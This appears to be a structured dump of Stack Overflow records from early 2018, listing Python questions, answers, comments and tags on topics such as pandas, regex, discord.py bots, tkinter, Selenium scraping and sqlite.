has text: gives me the same error
type: Comment
score: 0

http://stackoverflow.com/comment/84487874
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/48743235
has text: Im not familiar it with pandas myself, but as long as your dataframe is all setup, it doesnt seem to be too hard: https://stackoverflow.com/questions/16923281/pandas-writing-dataframe-to-csv-file
type: Comment

http://stackoverflow.com/q/48789348
has body: In the python websocket package, the recv method will wait (block) until data is available and then return it. I want a single-threaded implementation where recv will return None when there is no data available, else it will return the data. Or perhaps an implementation with a boolean has_data method.
has comment: http://stackoverflow.com/comment/84581878
type: UnansweredQuestion
tagged with: python
linked to: http://stackoverflow.com/q/48731012
has comment: http://stackoverflow.com/comment/84582050
has comment: http://stackoverflow.com/comment/84581681
answer count: 0
score: 0
has title: Where to find a non-blocking python websocket implementation (single threaded)
has comment: http://stackoverflow.com/comment/84581022
type: Question
tagged with: nonblocking
tagged with: websocket

http://stackoverflow.com/a/48674970
type: Answer
upvote count: 1
score: 1
has body: I ended up solving the larger problem, using the HStoreField without having to manually run CREATE EXTENSION hstore; on the database, by adding the HStoreExtension() operation to the operations of the 0001_initial.py migration; see also https://docs.djangoproject.com/en/2.0/ref/contrib/postgres/operations/#create-postgresql-extensions.
downvote count: 0
answers question: http://stackoverflow.com/q/48671457

http://stackoverflow.com/comment/130085388
type: QuestionComment
comment on: http://stackoverflow.com/q/48720833
has text: If you are on Apple Silicon with M1 chip or higher you need to install Tensorflow differently than how is outlined on the site currently. Instructions here: https://stackoverflow.com/a/73665921/2057171
score: 0
type: Comment

http://stackoverflow.com/a/48738039
has comment: http://stackoverflow.com/comment/84507883
has body: You can send commands in private messages. Something like @BSL.command(pass_context=True) async def unban(ctx): if ctx.message.channel.is_private and ctx.message.author.id == ownerID: owner = await BSL.get_user_info(ownerID) await BSL.say('Ok {}, unbanning you.'.format(owner.name)) for server in BSL.servers: try: await BSL.unban(server, owner) # I think having the same name should be fine. If you see weird errors this may be why. await BSL.say('Unbanned from {}'.format(server.name)) except discord.HTTPException as e: await BSL.say('Unbanning failed in {} because\n{}'.format(server.name, e.text)) except discord.Forbidden: await BSL.say('Forbidden to unban in {}'.format(server.name)) else: if ctx.message.author.id != ownerID: await BSL.say('You are not my owner') if not ctx.message.channel.is_private: await BSL.say('This is a public channel') should work. I'm not sure what happens if you try to unban a user who is not banned, that may be what raises HTTPException
answers question: http://stackoverflow.com/q/48734767
has comment: http://stackoverflow.com/comment/84507404
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84506937
has comment: http://stackoverflow.com/comment/84506786
accepted answer of: http://stackoverflow.com/q/48734767
has comment: http://stackoverflow.com/comment/84507442
upvote count: 2
type: Answer
has comment: http://stackoverflow.com/comment/84507607
has comment: http://stackoverflow.com/comment/84507004
score: 2
has comment: http://stackoverflow.com/comment/84507686
has comment: http://stackoverflow.com/comment/84507217

http://stackoverflow.com/comment/84495715
score: 0
has text: @Farhan.K, Thanksa that is what I was looking for! Could you please add it as answer.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48747725

http://stackoverflow.com/comment/84413608
score: 0
comment on: http://stackoverflow.com/a/48705472
type: AnswerComment
type: Comment
has text: How would I check for 0 bytes?

http://stackoverflow.com/comment/84515738
has text: Hold on, so you basically want to split the whole string on the `=>`? Have you tried `re.split()`? Also, it's nice to show what have you tried already, and why it's not working.
comment on: http://stackoverflow.com/q/48757318
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48789745
linked to: http://stackoverflow.com/q/2671496
has comment: http://stackoverflow.com/comment/84590825
type: Question
upvote count: 2
has title: Parent method with extra arguments in Python
has body: Parent class has a property called 'deserialize' that is static and abstract with one argument. Each Child class implemented that method. Now I have a situation that Child class needs more than one argument. When I add options=None to Parent class, children classes complain that they have a different signature(warning). I have to add options=None to each class. That is a refactoring. I want to know if I can omit the warning and continue, or there is a better solution? Or do I have to refactor? class Serializable: __metaclass__ = ABCMeta @staticmethod @abstractmethod def deserialize(json_obj, options=None): pass class ChildWithNoExtraArguments(Serializable): # warning is here... @staticmethod def deserialize(json_obj): # some implementation class ChildWithExtraArgumnets(Serializable): @staticmethod def deserialize(json_obj, options): # some implementation, I need options
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/84603713
has comment: http://stackoverflow.com/comment/84603818
has comment: http://stackoverflow.com/comment/84604080
has comment: http://stackoverflow.com/comment/84603690
tagged with: python
accepted answer: http://stackoverflow.com/a/48790057
score: 2
has comment: http://stackoverflow.com/comment/84603783
downvote count: 0
has comment: http://stackoverflow.com/comment/84604110
has comment: http://stackoverflow.com/comment/84582937
has answer: http://stackoverflow.com/a/48790057
type: AnsweredQuestion
tagged with: oop
has comment: http://stackoverflow.com/comment/84589925

http://stackoverflow.com/a/48786920
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/84581274
accepted answer of: http://stackoverflow.com/q/48786759
has comment: http://stackoverflow.com/comment/84581132
has body: I think this could do the trick: &gt;&gt;&gt; df[(df['Bid']&lt;=5)].iloc[-1,:] Bid 5.00 Imp 79.00 Click 34.98 Spend 130.00 Name: 2, dtype: float64 If you want a pandas just do df[(df['Bid']&lt;=5)].iloc[-1,:].to_frame().T. &gt;&gt;&gt; df[(df['Bid']&lt;=5)].iloc[-1,:].to_frame().T Bid Imp Click Spend 2 5.0 79.0 34.98 130.0 For the case of the missing bid=6, df[(df['Bid']&lt;=6)].iloc[-1,:].to_frame().T would return the nearest bid below 6, which is, again, 5. &gt;&gt;&gt; df[(df['Bid']&lt;=6)].iloc[-1,:].to_frame().T Bid Imp Click Spend 2 5.0 79.0 34.98 130.0 EDITED To make sure that the dataframe contains Bidin ascending order just do previously: &gt;&gt;&gt; df = df.sort_values(by='Bid',ascending=True)
upvote count: 2
answers question: http://stackoverflow.com/q/48786759

http://stackoverflow.com/comment/84422783
type: Comment
has text: A pool can have `map` or `map_async` or the apply variants of those used to submit jobs to be completed. If, for example, I have a 4-process pool and submit 4 jobs, there is no guarantee that all 4 processes are done. Thus, I cannot duplicate the work `num_processes` times and have the program work every time. I use a pool to do some heavy lifting with some read-only global state (similar to a Value object but without the penalty of locks). Periodically, I would like to update that global state without destroying the pool and making a new one.
score: 0
comment on: http://stackoverflow.com/q/48701608
type: QuestionComment

http://stackoverflow.com/q/48795930
has answer: http://stackoverflow.com/a/48796346
has comment: http://stackoverflow.com/comment/84594865
has body: I have a small project that involves grepping through .py files and picking out import statements only of the form from &lt;x&gt; import &lt;y&gt;. In building a regex to capture this, there are two distinct syntaxes involved, best illustrated by example: Syntax #1 uses parentheses and can have newlines enclosed in those parentheses: from .sql.base import ( SchemaVisitor ) import os # ignore this import from _pytest.config import ( main, UsageError, cmdline, hookspec, hookimpl ) I can capture this with: syntax1 = re.compile(r'^ *from (?P&lt;package&gt;[.\w]+) +import +\(?(?P&lt;objects&gt;[*, \n\w]+)\)? *$', flags=re.MULTILINE) Syntax #2 uses line continutation (if needed), and technically has no newlines within the import statement: from pandas import Series from .solvers import solve, solve_linear_system, solve_linear_system_LU, \ solve_undetermined_coeffs, nsolve, solve_linear, checksol, \ det_quick, inv_quick, check_assumptions from .ode import checkodesol, classify_ode, dsolve, \ homogeneous_order I can capture this with: # Only difference: no `\n` in &lt;objects&gt; group syntax2 = re.compile(r'^ *from (?P&lt;package&gt;[.\w]+) +import +(?P&lt;objects&gt;[*, \w]+) *$', flags=re.MULTILINE) I would like to condense these into one statement capable of zipping up the named groups all at once. What it seems like I need here is an if-then conditional with a positive lookahead. Something like: syntax = re.compile(r'^ *from (?P&lt;package&gt;[.\w]+) +import +(?(?=\([^)]+\))\((?P&lt;obj1&gt;[*, \n\w]+)\) *$|(?P&lt;obj2&gt;[*, \w]+) *$)', flags=re.MULTILINE) This seems to follow the syntax of (?ifthen|else) with a lookahead for the if, i.e. (?(?=regex)then|else) where: the if is (?=\([^)]+\)): parentheses enclosing some text that is not parentheses the then is \((?P&lt;obj1&gt;[*, \n\w]+)\) *$ the else is (?P&lt;obj2&gt;[*, \w]+) *$) What do I have wrong here? Input: imports = """ from .sql.base import ( SchemaVisitor ) from pandas import Series as ser, DataFrame as df …
has comment: http://stackoverflow.com/comment/84594798
accepted answer: http://stackoverflow.com/a/48796346
favorite count: 0
has title: If-then & lookahead with parentheses in regex
has comment: http://stackoverflow.com/comment/84594731
upvote count: 2
tagged with: python
tagged with: regex
linked to: http://stackoverflow.com/q/24123245
possible better answer: http://stackoverflow.com/a/48796219
has answer: http://stackoverflow.com/a/48796219
type: AnsweredQuestion
score: 1
downvote count: 1
type: Question
answer count: 2
tagged with: regex-lookarounds
has comment: http://stackoverflow.com/comment/84594741

http://stackoverflow.com/q/48726956
type: Question
linked to: http://stackoverflow.com/q/2922295
has comment: http://stackoverflow.com/comment/84452874
answer count: 2
has comment: http://stackoverflow.com/comment/84452980
has answer: http://stackoverflow.com/a/48727028
has title: Measure the height of a string in Tkinter Python?
upvote count: 7
favorite count: 0
accepted answer: http://stackoverflow.com/a/48727019
tagged with: python-3.x
has body: I need the height in pixel of a string in a Tkiner widget. It is the text in a row of a Listbox. I know I can measure the width of a string with tkinter.font.Font.measure. But how can I get the height? A similar question thematised only the width but not the height.
tagged with: python
has answer: http://stackoverflow.com/a/48727019
type: AnsweredQuestion
tagged with: tkinter
has comment: http://stackoverflow.com/comment/84452996
downvote count: 0
possible better answer: http://stackoverflow.com/a/48727028
score: 7
has comment: http://stackoverflow.com/comment/84452902
has comment: http://stackoverflow.com/comment/84452918

http://stackoverflow.com/comment/84392547
score: 0
has text: One uses explicit concatenation, and the other I assume internally uses `" ".join(args)`?
type: Comment
comment on: http://stackoverflow.com/a/48677055
type: AnswerComment

http://stackoverflow.com/q/48767545
has comment: http://stackoverflow.com/comment/84535395
type: Question
linked to: http://stackoverflow.com/q/1679384
has answer: http://stackoverflow.com/a/48767792
has comment: http://stackoverflow.com/comment/84535789
score: 0
answer count: 2
accepted answer: http://stackoverflow.com/a/48767792
possible better answer: http://stackoverflow.com/a/49006399
tagged with: python
tagged with: dictionary
has answer: http://stackoverflow.com/a/49006399
has comment: http://stackoverflow.com/comment/84535844
has title: How do I convert this dictionary into a list?
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84535830
tagged with: list
has comment: http://stackoverflow.com/comment/84538216
has body: Say I have dictionaries like this : {'AccountNum': '873627867348', 'userID': 'abc'} {'AccountNum': '873627867348', 'userID': 'def'} {'AccountNum': '038683828978', 'userID': 'ghi'} {'AccountNum': '581889263266', 'userID': 'jkl'} {'AccountNum': '581889263266', 'userID': 'mno'} {'AccountNum': '581889263266', 'userID': 'pqr'} I need to convert this into a list such that both the keys and values are printed. Actually I am using Django as the web framework. I need to return a list and render it to my template page, where I will be displaying the user id and accountnum in the rows of the table. preferred output sample: ['AccountNum', '873627867348', 'userID', 'abc']

http://stackoverflow.com/a/48693155
has comment: http://stackoverflow.com/comment/84384752
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/48692895
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48692895
upvote count: 1
type: Answer
has body: These two alternatives each produce an iterator. In the first case, the iterator is created by a generator expression. In the second, the iterator is created by the use of a generator function. In [9]: for i in (tup + (4,) for tup in itertools.combinations(np.arange(4),2)): ...: print(i) ...: (0, 1, 4) (0, 2, 4) (0, 3, 4) (1, 2, 4) (1, 3, 4) (2, 3, 4) In [10]: A generator function might be more readable at the call site, especially if the function name describes its behavior. import itertools import numpy as np def adder(it, addend): for x in it: yield x + addend for i in adder(itertools.combinations(np.arange(4),2), (4,)): print(i)

http://stackoverflow.com/comment/84642748
type: Comment
has text: Thanks for your comments! error_result() is empty (returns None).. Interesting once I iterate over *iter* <rows = [r.values() for r in it]>, and then both iter.total_rows & iter.num_results prints correct results (Total number of rows in the table).. but prior to iterating both produce 0 results.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48817389

http://stackoverflow.com/q/48777891
has comment: http://stackoverflow.com/comment/84557550
tagged with: hex
tagged with: python-3.x
type: Question
has comment: http://stackoverflow.com/comment/84557431
answer count: 2
tagged with: python
has comment: http://stackoverflow.com/comment/84557571
score: 0
tagged with: decimal
has title: Converting Decimal to Hexadecimal in python
type: UnansweredQuestion
has body: i am getting answer as 7D while i should be getting 7D0. I actually dont know how to solve it: my test case at the beginning was 31 which answer was correct 1F but as i go towards higher number my code doesnt work. using loops might be more efficient but i am not too comfortable with loop right now please help !!! def dec2hex(n): x1 =0 counter = 0 answer = "" if n&lt;=0: answer =answer + "0" else: while (n &gt;16): counter +=1 n = n /16 x = n if(x &lt;16 ): x = int(n) break else: continue if ((n-x) *16 &lt;16 ): counter1 = 1 else: counter1 = counter -1 rem = (n-x) * (16**(counter1)) if rem &gt;16: while (n &gt;16): rem = rem /16 x1 = rem if(x1 &lt;16 ): x1 = int(rem) break else: continue if n &lt; 10: answer =answer + str(int(x)) if (rem ==10 or x1 ==10): answer = answer + "A" if (rem ==11 or x1 ==11): answer = answer + "B" if (rem ==12 or x1 ==12): answer = answer + "C" if (rem ==13 or x1 ==13): answer = answer + "D" if (rem ==14 or x1 ==14): answer = answer + "E" if (rem ==15 or x1 ==15): answer = answer + "F" print(counter,rem,x1,n,counter,x) return answer dec2hex(2000)
has comment: http://stackoverflow.com/comment/84557796
has comment: http://stackoverflow.com/comment/84557768
has answer: http://stackoverflow.com/a/57516399
has answer: http://stackoverflow.com/a/50364543

http://stackoverflow.com/q/48647975
tagged with: python
upvote count: 3
type: UnansweredQuestion
tagged with: networkx
type: Question
score: 3
linked to: http://stackoverflow.com/q/49016596
has title: AttributeError: 'DiGraph' object has no attribute '_node'
duplicate of: http://stackoverflow.com/q/49016596
tagged with: python-2to3
has body: The code is written by someone else using Python 2.7.12, networkx 1.11, numpy 1.13.0, scipy 0.18.1, matplotlib 2.0.2. It consists of several self-made modules. I have converted the entire code to Python 3.x using "2to3" converter. I am running the entire code using Spyder which has all the latest packages. Now while running the code I am getting AttributeError: 'DiGraph' object has no attribute '_node' error. Following is the error message in spyder. runfile('C:/Users/NaVnEeT/Desktop/Thesis/WIP2/main.py', wdir='C:/Users/NaVnEeT/Desktop/Thesis/WIP2') __main__ : INFO main() started Settings : INFO Settings __init__ finished Settings : INFO Settings __init__ finished Settings : INFO Settings __init__ finished Settings : INFO Settings __init__ finished Settings : INFO Settings __init__ finished Settings : INFO Settings __init__ finished Settings : INFO Settings __init__ finished Settings : INFO Settings __init__ finished Settings : INFO Settings __init__ finished Settings : INFO Settings __init__ finished TransGrph : INFO Graph is loaded from file Traceback (most recent call last): File "&lt;ipython-input-1-c61da2f96623&gt;", line 1, in &lt;module&gt; runfile('C:/Users/NaVnEeT/Desktop/Thesis/WIP2/main.py', wdir='C:/Users/NaVnEeT/Desktop/Thesis/WIP2') File "C:\Users\NaVnEeT\Anaconda3\lib\site-packages\spyder\utils\site\sitecustomize.py", line 710, in runfile execfile(filename, namespace) File "C:\Users\NaVnEeT\Anaconda3\lib\site-packages\spyder\utils\site\sitecustomize.py", line 101, in execfile exec(compile(f.read(), filename, 'exec'), namespace) File "C:/Users/NaVnEeT/Desktop/Thesis/WIP2/main.py", line 137, in &lt;module&gt; main() File "C:/Users/NaVnEeT/Desktop/Thesis/WIP2/main.py", line 92, in main ch8NLR() File "C:\Users\NaVnEeT\Desktop\Thesis\WIP2\code\thesis\ch8NLR.py", line 176, in ch8NLR graph = TransportGraph(settings[0]) File "C:\Users\NaVnEeT\Desktop\Thesis\WIP2\code\buildgraph\transportgraph.py", line 58, in __init__ self.dmatrix = add_dmatrix(self.G, settin…
answer count: 1
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/48652932
tagged with: spyder

http://stackoverflow.com/q/48775552
score: 0
accepted answer: http://stackoverflow.com/a/48775754
has body: When modifying the date of a column on python with sqlite3 I receive the None value. datetime(Date, '+4 months') works, but datetime(Date, '+' || Test || 'months') does not and sends me back None value. Test is an integer datatype column. Any idea?
answer count: 1
tagged with: date
type: AnsweredQuestion
tagged with: sqlite
has answer: http://stackoverflow.com/a/48775754
has title: sqlite3 and Python: date modifier
type: Question
tagged with: python

http://stackoverflow.com/q/48734820
answer count: 1
accepted answer: http://stackoverflow.com/a/48735240
tagged with: python
has body: I'm trying to scrape [this][1] site its URL doesnt change when next page is clicked on. So, I used Selenium to click on the next page, but doing that doesnt help. As my driver keeps getting the old page even after next page is clicked on. Is there any other way to get to the next page and scrape it? from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.common.exceptions import TimeoutException from bs4 import BeautifulSoup driver = webdriver.Safari() store_pages = [] #10306 is total number of pages. for i in range (10306): Starting_url = 'site' driver.get(Starting_url) html = driver.page_source soup = BeautifulSoup(html, "lxml") print (store_pages.append(i)) timeout = 20 try: WebDriverWait(driver, timeout).until(EC.visibility_of_element_located((By.XPATH, "//*[@id='ctl00_SPWebPartManager1_g_d6877ff2_42a8_4804_8802_6d49230dae8a_lblDisclaimerMsg']"))) except TimeoutException: print("Timed out waiting for page to load") driver.quit() nextpage_url = driver.find_element_by_name("ctl00$SPWebPartManager1$g_d6877ff2_42a8_4804_8802_6d49230dae8a$ctl00$imgbtnNext").click() timeout = 20 wait = WebDriverWait(driver, 10).until(EC.text_to_be_present_in_element_value((By.CSS_SELECTOR, '#ctl00_SPWebPartManager1_g_d6877ff2_42a8_4804_8802_6d49230dae8a &gt; div.act_search_results &gt; div.act_search_header'), "206113 Record(s) | Page [2 of 10306]")) NGO_element = driver.find_element_by_class_name("faq-sub-content exempted-result") NGO_name = NGO_element.find_elements_by_tag_name("h1") NGO_name_pancard = driver.find_elements_by_class_name("pan-id") NGO_data = NGO_element.find_elements_by_tag_name("ul") NGO_sub_data = NGO_element.find_elements_by_tag_name("li") for i, p, t in zip(NGO_name, NGO_name_pancard, NGO_data): n_name = i.text.replace(p.text, '') n_data = t.text n_pan = p.text print ("Name of NGO:", n_name, "Fields of NGO:", n_data, "Pancard number:", n_pan) nextpage_url…
type: AnsweredQuestion
tagged with: selenium
tagged with: web-scraping
type: Question
has answer: http://stackoverflow.com/a/48735240
has title: Parsing a site where URL doesn't change with Selenium Python
score: 0

http://stackoverflow.com/comment/84516156
type: QuestionComment
has text: You can add a `time.sleep(0.1)` or something like that if you want to slow down the rate of requests.
score: 1
comment on: http://stackoverflow.com/q/48757572
type: Comment

http://stackoverflow.com/comment/84521811
type: Comment
type: QuestionComment
has text: Unfortunately version 3 import is also `import cv2`. If you are not dealing with video input I recommend skimage instead of opencv - opencv does not feel like Python.
comment on: http://stackoverflow.com/q/48760544
score: 0

http://stackoverflow.com/a/48814402
has body: The same steps illustrated in the cURL example should work in Python. (Apologies that we don't have an complete published sample) Get the image id from the cell object, as returned from get_sheet Convert the image id to a download url, using images.get_image_urls (docs) Download the image from the url, probably using the Requests library.
type: Answer
answers question: http://stackoverflow.com/q/48773970
score: 0

http://stackoverflow.com/a/48663198
has body: The problem is that the position of a text element is relative to the text's extent, not to its surrounding box. While it would in principle be possible to calculate the border padding and position the text such that it sits at coordinates (1,1)-borderpadding, this is rather cumbersome since (1,1) is in axes coordinates and borderpadding in figure points. There is however a nice alternative, using matplotlib.offsetbox.AnchoredText. This creates a textbox which can be placed easily relative the the axes, using the location parameters like a legend, e.g. loc="upper right". Using a zero padding around that text box directly places it on top of the axes spines. from matplotlib.offsetbox import AnchoredText txt = AnchoredText("text", loc="upper right", pad=0.4, borderpad=0, ) ax.add_artist(txt) A complete example: import matplotlib.pyplot as plt from matplotlib.offsetbox import AnchoredText import numpy as np my_dpi=96 nrows=3 Mytext="label" plt.rcParams["axes.linewidth"] = 2 plt.rcParams["patch.linewidth"] = 2 fig, axes = plt.subplots(nrows=nrows, sharex=True, sharey=True, figsize= (500./my_dpi, 400./my_dpi), dpi=my_dpi) fig.subplots_adjust(hspace=0.0001) colors = ('k', 'r', 'b') for ax, color in zip(axes, colors): data = np.random.random(1) * np.random.random(10) ax.plot(data, marker='o', linestyle='none', color=color) txt = AnchoredText(Mytext, loc="upper right", pad=0.4, borderpad=0, prop={"fontsize":8}) axes[0].add_artist(txt) plt.show()
upvote count: 4
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84328198
has comment: http://stackoverflow.com/comment/84328211
type: Answer
accepted answer of: http://stackoverflow.com/q/48662281
has comment: http://stackoverflow.com/comment/84346004
score: 4
answers question: http://stackoverflow.com/q/48662281
has comment: http://stackoverflow.com/comment/84327636

http://stackoverflow.com/comment/84470594
type: Comment
score: 1
has text: If three queries is fine, then you can retrieve required `Place` object ids using same parameters you used to create them.
comment on: http://stackoverflow.com/a/48733681
type: AnswerComment

http://stackoverflow.com/comment/84578199
has text: Forgive me there l am a bit uncertain if it the one you suggested or **model2 =keras.Model(inputs=input_tesnsor.input, outputs=new_concatenated_model)**. but definitely one of the two variants is correct.
comment on: http://stackoverflow.com/a/48786707
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/48656567
has comment: http://stackoverflow.com/comment/84311389
upvote count: 1
downvote count: 1
type: Question
tagged with: nltk
has comment: http://stackoverflow.com/comment/84310881
has comment: http://stackoverflow.com/comment/84310930
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/48656970
favorite count: 0
has title: Python writes chinese characters to text document
tagged with: python
type: UnansweredQuestion
has body: I'm new to Python and I have been trying to tokenize a text file and write the results into another text file. However, when I print the results, I get what I want but while trying to write to a text file, it becomes gibberish. Here is my code: from nltk.tokenize import word_tokenize with open ('F:\\Project\\nega.txt', 'r') as fin, open('tokens.txt', 'w') as out_file: for line in fin: tokn = word_tokenize(line) for word in tokn: #print(word) out_file.write(word)

lora
tag name: lora
tags question: http://stackoverflow.com/q/48697271
type: Tag

http://stackoverflow.com/comment/84307583
comment on: http://stackoverflow.com/q/48653986
score: 1
has text: posted above as "sample code"
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84349006
comment on: http://stackoverflow.com/a/48655957
score: 0
type: AnswerComment
has text: I think in that case what is happening is that since you are looping over the list so many times, you are actually removing all numbers from the list so there aren't ANY combinations remaining. It is up to you to determine how you want to handle this problem. Note that my outer list is getting combos of 1, 2 and 3 numbers and I assume you don't actually want all of those at the same time, so try simply doing only one loop (with combo = 3, for example). Since you only have ten numbers you will run out quickly.
type: Comment

http://stackoverflow.com/comment/84560346
type: QuestionComment
comment on: http://stackoverflow.com/q/48779314
has text: Read the error message more carefully. *Domain of **sender address** does not exist*. The sender of the email isn't a valid domain. Not the receiver, the **sender** (you, presumably).
score: 0
type: Comment

http://stackoverflow.com/comment/84584870
score: 0
comment on: http://stackoverflow.com/q/48791389
type: QuestionComment
type: Comment
has text: Iterate through `list(itertools.combinations(a,3))` where `a = [1,2,3,4,5]`

http://stackoverflow.com/comment/84302804
has text: Don't forget on Windows there are two places where PATH is stored, for user and system. The best was to check is on `cmd.exe` type `path` and inspect it there.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/48652224

http://stackoverflow.com/a/48685380
has body: Ended up doing this and it worked profiles = Profile.objects.filter(date_joined__gte=datetime.date(2011, 1, 1), date_joined__lte=datetime.date(2018, 2, 28)).extra({'date': 'date(date_joined)'})\ .values('date').annotate(count=Count('date')) countArray = [] for profile in profiles: data = {'date_joined': str(profile['date']), 'count': profile['count']} countArray.append(data) return Response(json.dumps(countArray))
type: Answer
answers question: http://stackoverflow.com/q/48680891
score: 0

http://stackoverflow.com/q/48777107
has title: DELETING messages in discord.py Discord bot
upvote count: 1
has body: i wrote a bot using Python 3.6 IDLE and i want to add a purge command but i don't know how to add it. Can some of you people help me with giving any examples or suggestion i will be pleased thanks.
downvote count: 1
has answer: http://stackoverflow.com/a/49890264
type: Question
tagged with: discord.py
has answer: http://stackoverflow.com/a/48820796
has comment: http://stackoverflow.com/comment/84556463
has answer: http://stackoverflow.com/a/66783384
score: 0
answer count: 3
tagged with: discord
favorite count: 0
has comment: http://stackoverflow.com/comment/84556177
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/comment/84509996
type: QuestionComment
comment on: http://stackoverflow.com/q/48754537
score: 0
has text: Try, using subprocess.Popen it doesn't block, allowing you to interact with the process while it's running, or continue with other things in your Python program.
type: Comment

http://stackoverflow.com/comment/84574200
type: AnswerComment
comment on: http://stackoverflow.com/a/48781681
has text: @RobertoSalim Now the final `re.sub()` solution can handler all cases.
type: Comment
score: 1

http://stackoverflow.com/a/48747954
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/48747732
accepted answer of: http://stackoverflow.com/q/48747732
type: AcceptedAnswer
downvote count: 0
score: 1
has body: You are not reading the documentation of Pool, you are reading just a simple example. The real documentation of Pool is here, where the meaning of the number is clearly explained: processes is the number of worker processes to use. If processes is None then the number returned by os.cpu_count() is used.
has comment: http://stackoverflow.com/comment/84496052

http://stackoverflow.com/a/48723802
has comment: http://stackoverflow.com/comment/84448124
type: AcceptedAnswer
upvote count: 6
accepted answer of: http://stackoverflow.com/q/48723773
answers question: http://stackoverflow.com/q/48723773
type: Answer
has body: You can use dict.get() to return a default value if a key is missing; use this to test for both keys and values: if not (validated_data.get('content') or validated_data.get('location')): raise MyException("You need at least one non-blank field") return validated_data If validated_data['content'] exists, validated_data.get('content') will return it. If it does not exist, None is returned instead, a false value. So both when the key exists but is false, and when the key is missing, the end result is a false value and the 'location' key is tested. If the key exists and is not a false value, the or expression short-circuits.
downvote count: 0
score: 6

http://stackoverflow.com/q/48716506
has title: How can I find multiple occurrences of a key in a deeply nested data structure in python?
has answer: http://stackoverflow.com/a/48716620
score: 2
type: AnsweredQuestion
type: Question
answer count: 2
linked to: http://stackoverflow.com/q/47037281
downvote count: 0
accepted answer: http://stackoverflow.com/a/48716620
has body: I have been looking at the answer to the following question here: How can I select deeply nested key:values from dictionary in python But my issue isn't in finding a single key inside the deeply nested data structure, but all occurences of a particular key. For example, like if we modify the data structure in the first example in here: [ "stats":{ "success": true, "payload": { "tag": { "slug": "python", "name": "Python", "postCount": 10590, "virtuals": { "isFollowing": false } }, "metadata": { "followerCount": 18053, "postCount": 10590, "coverImage": { "id": "1*O3-jbieSsxcQFkrTLp-1zw.gif", "originalWidth": 550, "originalHeight": 300 } } } }, "stats": { "success": true, "payload": { "tag": { "slug": "python", "name": "Python", "postCount": 10590, "virtuals": { "isFollowing": false } }, "metadata": { "followerCount": 18053, "postCount": 10590, "coverImage": { "id": "1*O3-jbieSsxcQFkrTLp-1zw.gif", "originalWidth": 550, "originalHeight": 300 } } } } ] How would I get every possible occurrences of "metadata" here?
favorite count: 0
upvote count: 2
possible better answer: http://stackoverflow.com/a/48716770
has answer: http://stackoverflow.com/a/48716770
tagged with: python

http://stackoverflow.com/comment/84462899
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48728549
has text: @ImportanceOfBeingErnest "bbox_inches="tight"" worked thanks.

http://stackoverflow.com/comment/84352151
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48657710
has text: @GrahamDumpleton https://forums.developer.apple.com/thread/9233 is related to this problem. In practice, what I want is a python wrapper for a numerical simulation program which is written by Fortran and MKL library is used dynamically. I use `subprocess.run("FORTRAN_PROG.exe")` to run the program, so `DYLD_LIBRARY_PATH` is needed here.

http://stackoverflow.com/q/48722976
tagged with: python
tagged with: list
score: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48723040
accepted answer: http://stackoverflow.com/a/48723040
tagged with: packing
type: Question
upvote count: 2
has title: Packing/Appending element in specific positions to create a tuple
answer count: 1
downvote count: 1
favorite count: 0
tagged with: tuples
has body: I am fairly new to python, so bear with me. Say I have two lists: &gt;&gt;&gt; doors = [1,2,3] &gt;&gt;&gt; prizes = ['green','blue','red'] And then I want to shuffle the list prizes (I already imported random): &gt;&gt;&gt; random.shuffle(prizes) &gt;&gt;&gt; print('shuffled_prizes=',prizes) prizes= ['blue', 'green', 'red'] Is there a way I can insert these into the doors list/make them tuples? Such that doors' positioning stays intact, but the prizes are just put in respectively: wanted_output = [(1, 'blue'),(2,'green'),(3,'red')] I have heard of packing with *args but I am still not having a clear understanding of how that works either. If someone could help me keep the prizes shuffled, but put them shuffled together with doors in the same position, that would help.

http://stackoverflow.com/comment/84720894
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48798889
has text: if might help looking at my other question. Strange behaviour with json output too
type: Comment

http://stackoverflow.com/comment/128208198
type: AnswerComment
type: Comment
has text: Your answer could be improved with additional supporting information. Please [edit] to add further details, such as citations or documentation, so that others can confirm that your answer is correct. You can find more information on how to write good answers [in the help center](/help/how-to-answer).
comment on: http://stackoverflow.com/a/72572533
score: 0

http://stackoverflow.com/a/48651944
accepted answer of: http://stackoverflow.com/q/48651894
answers question: http://stackoverflow.com/q/48651894
upvote count: 4
type: AcceptedAnswer
downvote count: 0
has body: This will work: from itertools import product list(product(['D', 'E'], repeat=4)) For pretty printing: for i in product(['D', 'E'], repeat=4): print(''.join(i)) # DDDD # DDDE # DDED # DDEE # DEDD # DEDE # DEED # DEEE # EDDD # EDDE # EDED # EDEE # EEDD # EEDE # EEED # EEEE
score: 4
type: Answer

http://stackoverflow.com/q/48740879
tagged with: mongodb-query
linked to: http://stackoverflow.com/q/25177645
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84481530
has answer: http://stackoverflow.com/a/48741371
has comment: http://stackoverflow.com/comment/84481889
type: Question
tagged with: mongodb
has comment: http://stackoverflow.com/comment/84481839
